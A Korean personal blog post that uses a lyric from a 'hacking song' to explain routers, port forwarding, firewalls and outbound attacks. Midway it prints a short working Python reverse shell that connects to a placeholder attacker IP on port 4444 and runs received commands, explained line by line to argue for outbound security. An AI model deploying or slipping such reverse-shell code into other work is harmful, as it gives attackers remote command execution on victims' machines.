초딩때 많이 들었던 해킹송을 보면 아래와 같은 가사가 나옵니다.

"아이피 어떻게 알아냈지 공유기 사용중일텐데" ...
이 가사를 보면 해커는 공유기를 사용중인 작성자의 컴퓨터를 모종의 방법으로 해킹했습니다.
공유기는 공인 IP(외부 IP)를 사설 IP로 바꿔주는 역할을 합니다.
공인 IP는 여전히 외부에 공개되어 있지만, 보통 보안을 위해 포트포워딩을 통해 '특정 포트'만 열어놓습니다.
예를 들어, 223.xx.xx.xx이라는 공인IP의 50001 포트로 접속하면 사설 IP인 192.168.xx.xx의 3001 포트로 들어오도록 포워딩하는 것이죠.
그 밖에도 외부에서 내부로 접속하는 방법은 VPN 서버를 구축(특정 공유기 기종은 기본 제공하며, 윈도우에서도 제공함)하는 방법이 있다고 합니다.
어쨌거나 공유기를 사용하는 것과 안 사용하는 것의 보안상 차이는, 공유기를 사용했을 때는 기본적으로 외부에서 인바운드되는 모든 포트가 막혀있다는 것인데 그렇지 않은 경우에는 외부에 바로 연결되고 있으니, 방화벽으로만 막는다는 것입니다.
하지만 보안상 유의미하게 차이가 있을 것 같진 않습니다.
공유기가 없어도 방화벽만 안 건드리면 뚫는 건 쉽지 않기 때문이죠.
어쨌든 작성자가 포트포워딩을 건드리거나 방화벽을 꺼놓은것도 아닐테니 작성자의 아이피를 통해 직접 해킹했을 가능성은 낮습니다.
아마 작성자는 인터넷에서 영 좋지 않은 실행파일(.exe)을 받고는 그것을 실행한 것이 원인일 가능성이 큽니다.
그 실행파일에 가사에서처럼 파일지우고 C드라이브 포맷시키고 암호바꾸고 난리를 쳐놓는 명령어들이 있었겠죠. (...)
혹은 '어느날 파일들이 날라갔다'는 점에서 '아웃바운드' 공격을 당했을 가능성도 있습니다.
보통의 서버는 인바운드는 잘 막지만 아웃바운드에는 느슨한 경향이 있습니다. (특히나 저 시대의 OS는 좀 취약점이 많았습니다)
import socket, subprocess
s = socket.socket()
s.connect(("공격자IP", 4444))
while True:
command = s.recv(1024).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
s.send(output.encode())
위 파이썬 코드는 Reverse Shell 공격에 필요한 악성코드 예시입니다.
3번째 라인에서 피해자의 PC를 공격자 서버의 IP, 4444번 포트로 연결시킵니다.
그러면, 4444번 포트를 열어두고 있던 공격자가 피해자가 연결되자마자 각종 공격 명령어를 막 보냅니다.
그럼 8번째 라인에서 피해자의 서버는 그 명령어를 죄다 실행시킵니다.
암튼 뭐... 그 시대니까 전문적 해킹을 배우지 않았어도 이런 간단한 방법으로 해킹이 가능했겠죠.
어쨌든 결론은 혹시나 서버구축 시엔 아웃바운드 보안도 신경써야 한다는 점...
(최근 보안 강의를 들었어서 쓰는 뻘글입니다.)
'IT > 기타' 카테고리의 다른 글
| [Inner Circle] FE과정 2주차 정리 (0) | 2025.04.03 |
|---|---|
| [Inner Circle] FE과정 1주차 정리 (0) | 2025.03.25 |
| [IT/일상] 패스트캠퍼스 INNER CIRCLE 풀스택 개발 OT 후기 (0) | 2025.03.23 |
| [IT] 백엔드 서버와 프론트엔드의 통신 URL (1) | 2024.12.19 |
| [SI 지식 말하기 연습] React 관련 (0) | 2024.12.18 |